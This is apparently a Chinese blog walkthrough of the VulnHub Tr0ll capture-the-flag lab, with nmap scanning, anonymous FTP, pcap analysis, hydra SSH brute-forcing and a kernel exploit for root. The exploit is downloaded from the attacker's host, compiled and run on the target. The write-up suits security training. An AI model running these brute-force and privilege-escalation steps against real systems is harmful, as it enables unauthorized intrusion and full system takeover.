攻破 VulnHub-Tr0ll 靶机

目标获取flag,开始ing

b010aa13745446dc8bb54b6e7083ae46.png

基本步骤

1.确定主机ip,端口和服务信息

2.针对web页面进行信息搜集,利用ftp和ssh登录

3.登录后查找系统漏洞并进行提权

一、信息收集

确定主机IP 192.168.5.134

arp-scan -l

端口和服务扫描

nmap -p- -A 192.168.5.134

120566dd1f0b4b749941b225f2fc84da.png

curl 192.168.5.134

访问web,没什么信息

3673a744c42d4085adc26786100ed9f1.png

639f498139434c64b0f72a7d888358a2.png

目录扫描

dirsearch -u http://192.168.5.134

扫描的同时访问一下 robots.txt

94ec25a0e26c4e3e810144502c90a10d.png

 访问 secret

32ed8cfd754c4ec9b501e048c0b03161.png

没什么有用信息,目录结果也一样

复制两张图片的连接,下载到kali,查看源码的区别

wget http://192.168.5.134/secret/troll.jpg

wget http://192.168.5.134/hacker.jpg

strings troll.jpg

strings hacker.jpg

b49268c4f5b64f988c4901dce486106b.png

b242ece81e4d49de8b22a5b65ab11924.png

没什么明显有用的东西。

回到端口和服务扫描的结果上

21/tcp open  ftp     vsftpd 3.0.2

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

 注意到

4d2a9498eaf14876a947770438c35b1d.png

Anonymous FTP login allowed (允许匿名登录)

ftp 192.168.5.134

ls

get lol.pcap

c9ef39bb7d36425b9896455e3313636c.png

二、漏洞查找(流量分析)       

wireshark lol.pcap

9b11a1f824a34ca39be9fd48230647a7.png

可以看到,存在三种协议 FTP TCP FTP-DATA

从头向下根据info的内容对关键信息进行分析

1.

a4a77f8d60a548f2a77dc0f888cc8171.png

可以看到这是一个匿名登录,现在进行细节展开

TCP三次握手的包暂时可以忽略

0df0239bade74dda80f3b7b7f483bd1a.png

SYST:FTP命令,用于询问远程FTP服务器的系统类型

PORT 10,0,0,12,173,198 :客户端发送给服务器的命令,用于告诉服务器客户端准备在哪个IP地址和端口上接收数据。这个命令是FTP主动模式(active mode)的一部分,其中客户端打开一个端口以供服务器连接,用于数据传输。

 
PORT h1,h2,h3,h4,p1,p2
  • h1, h2, h3, h4 是客户端的IP地址的四个八位字节。
  • p1, p2 是客户端用于数据连接的端口号的两个八位字节。

在你提供的命令 request: PORT 10,0,0,12,173,198 中:

  • 10,0,0,12 表示客户端的IP地址是 10.0.0.12
  • 173,198 表示客户端用于数据连接的端口号是 173*256 + 198 = 44522

所以,这个命令的意思是客户端告诉服务器,它将在IP地址 10.0.0.1244522 端口上打开一个端口,等待服务器的连接,以便进行数据传输。

 2.

912ed76e7ca642c19136e55118d72d68.png

显而易见,这里执行了LIST列出当前目录和文件并返回了结果,我们直接查看 74 bytes 的内容

87951731a2b849a7890d3db2b6a1933d.png

==》 secret_stuff.txt

3.

52763d4de76e4c0cb6a55e343a137713.png

TYPE I: 指定文件以二进制形式传输。

RETR secret_stuff.txt 下载文件

我们这里直接获得 147 bytes 的文件数据

8afbea1d414d4298bcb656f9b8fea85e.png

好呀好呀,聪明的小恶魔,你几乎找到了 sup3rs3cr3tdirlol

所以这是啥?

结合http等服务,猜测web目录,sh账号密码,ftp账号密码等等

直接web访问

a9b04d3c6913428a90fa94bb602114e0.png

注意到这个 roflmao (点了一下windows直接下载了)

kali下载

wget 192.168.5.134/sup3rs3cr3tdirlol/roflmao

查看文件类型(可执行文件)、权限并加权,执行

file roflmao

ls -l roflmao

chmod +x roflmao

./roflmao

781451cd5be64e5aa0547199dfe57628.png

fc9fbb981e7b4cb4b6bf6fcde4f16d39.png

==>

Find address 0x0856BF to proceed    

proceed 意味继续

这里提示是 找到地址为 0x0856BF 的东西并继续

回到web,尝试访问 0x0856BF 文件夹

af1525d350e4486397d627c5962eaa82.png

能访问,但以这个作为文件名也太奇怪了。(我二进制不好hh)

翻一下文件

which_one_lol.txt

8f83648870674c11b3c2241ce2f2c82a.png

pass.txt

1fcf84f5d4564fda8b8ec8404d64e79d.png

一眼账户名,密码

靶机上存在ssh,ftp服务,这里考虑用hydra爆破登录ssh服务

先下载好两个文件

wget http://192.168.5.134/0x0856BF/good_luck/which_one_lol.txt

wget http://192.168.5.134/0x0856BF/this_folder_contains_the_password/Pass.txt

 hydra -L which_one_lol.txt -P Pass.txt 192.168.5.134 ssh

eb72540ab9eb47179d266ef39c06cf87.png

没爆出了

但题目提示这个文件夹包含密码,不是内含的god job,就只有文件名了

即 Pass.txt    ,修改一下 Pass.txt 里的内容为 Pass.txt再次爆破

这里确实狗了

1dcb5774561b4ca09939253a45cd55bb.png

058fd3638adf406fbede0784219fd542.png

ssh登录

ssh overflow@192.168.5.134

4.

查看系统内核和版本信息

uname -a

lsb_release -a

d8fc2553d98942178705cb0601ee18b5.png

靶机正在运行Ubuntu 14.04和3.13 Linux 内核(老)

并且操作时长过大会强制退出

直接查找 exp

searchsploit linux 3.13.0 | grep Ubuntu

967ba80a080d4a3fb0b1eed23b2eea2b.png

下载

searsearchsploit -m linux/local/37292.c

查看文件

d93e2f5bf6f74a04953f37d4f357914b.png

结合 ssh 登录,让靶机下载编译并运行此文件。

三、漏洞利用提权

在含有exp的文件夹下开启 http 服务

 python -m http.server 80

fe9f55f4e7064c42bb427c1ab30271e8.png

靶机下载,编译,运行 exp

cd /tmp

wget 192.168.5.129/37292.c

gcc 37292.c -o hack

chmod 777 hack

./hack

33f0288f777b4a9fbc68f2a139b1c2f2.png

4ceb697a0c764622a3c0aa5a1c9d5473.png

==>

flag  702a8c18d29c6f3ca0d99ef5712bfbdc

这里手速最好快一点,否则会退出

总结

ftp匿名登录利用

wireshark流量分析

ssh登录并内核提权

 

b7ef2183090341f3915f516a241bc617.png

eedb0892031541ddabcbc4f9529c564f.jpeg

补充说明

ftp命令

在Linux系统中,`ftp`是一个用于文件传输的命令行工具,它允许用户连接到FTP服务器并进行文件的上传、下载和管理。以下是`ftp`命令的一些基本使用方法:

 连接到FTP服务器

1. 启动FTP客户端:
   ftp [FTP服务器地址]
   例如,连接到`ftp.example.com`:
   ftp ftp.example.com

2. 登录:
   - 输入用户名和密码登录。如果是匿名FTP,可以使用`anonymous`作为用户名,密码可以是任意字符串或你的邮箱地址。
   Name (ftp.example.com:username): anonymous
   Password:

 基本命令

- 列出目录内容:
  ls
  或
  dir

- 改变当前目录:
  cd [目录名]

- 改变远程目录:
  cd remote:[目录名]

- 查看当前路径:
  pwd

- 下载文件:
  get [远程文件名] [本地文件名]
  例如,下载`example.txt`到本地当前目录:
  get example.txt

- 上传文件:
  put [本地文件名] [远程文件名]
  例如,上传`example.txt`到远程服务器:
  put example.txt

- 上传多个文件:
  mput [文件名模式]
  例如,上传所有`.txt`文件:
  mput .txt

- 删除远程文件:
  delete [文件名]

- 重命名远程文件:
  rename [旧文件名] [新文件名]

- 查看帮助:
  help
  或
  ?

 高级特性

- 切换到被动模式(在某些网络环境中需要):
  passive

- 设置传输类型(二进制模式用于非文本文件):
  binary

 退出FTP会话

- 退出FTP客户端:
  quit
  或
  by

 示例:使用FTP上传文件

1. 启动FTP客户端并连接到服务器:
   ftp ftp.example.com

2. 登录:
   Name (ftp.example.com:username): anonymous
   Password:

3. 更改远程目录:
   cd /path/to/remote/directory

4. 上传文件:
   put /path/to/local/file.txt

5. 退出FTP会话:
   quit

FTP 流量命令

TYPE

在FTP(File Transfer Protocol)中,`TYPE` 是一个用来指定数据传输类型(type of data transfer)的命令。`TYPE` 命令告诉服务器客户端期望的数据格式,以便正确地处理数据传输。

`TYPE` 命令的语法如下:

```
TYPE [type-code]
```

其中 `[type-code]` 是一个指定数据类型的代码。以下是一些常用的 `TYPE` 代码:

- `A`:ASCII类型(文本文件),这是默认的传输类型。在这种模式下,CRLF(回车换行)在传输过程中被转换为LF(换行)。
- `I`:二进制类型(Image mode),用于非文本文件(如图片、视频、可执行文件等)。在这种模式下,数据被原样传输,不进行任何转换。
- `E`:EBCDIC类型(主要用于IBM大型机)。
- `L 8`:本地8位数据类型(Local 8-bit),用于传输8位数据,不进行任何转换。

在你提供的命令 `TYPE I` 中,`I` 表示客户端请求以二进制模式进行数据传输。这种模式适用于传输任何非文本文件,因为它确保文件在传输过程中不会被修改或损坏。使用二进制模式可以确保文件的完整性,特别是在文件包含特殊字符或二进制数据时。

 

RETR

在FTP(File Transfer Protocol)中,`RETR` 是一个命令,用于从FTP服务器上请求一个文件,并将该文件传输到客户端。`RETR` 命令的全称是 "RETRieve",即检索的意思。

使用 `RETR` 命令的基本格式如下:

```
RETR <filename>
```

其中 `<filename>` 是你想要从服务器上检索的文件的名称。执行这个命令后,FTP服务器会开始将指定的文件发送到客户端。

例如,如果你想要从FTP服务器上下载名为 `example.txt` 的文件,你会发送以下命令:

```
RETR example.txt
```

服务器接收到这个命令后,会打开一个数据连接,并将 `example.txt` 文件的内容发送到客户端。客户端随后可以保存这些数据到本地磁盘上的同名文件中。

`RETR` 命令通常在客户端已经通过 `USER` 和 `PASS` 命令成功登录到FTP服务器,并且已经使用 `CWD`(Change Working Directory)命令导航到包含目标文件的目录后使用。

hydra基本使用

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值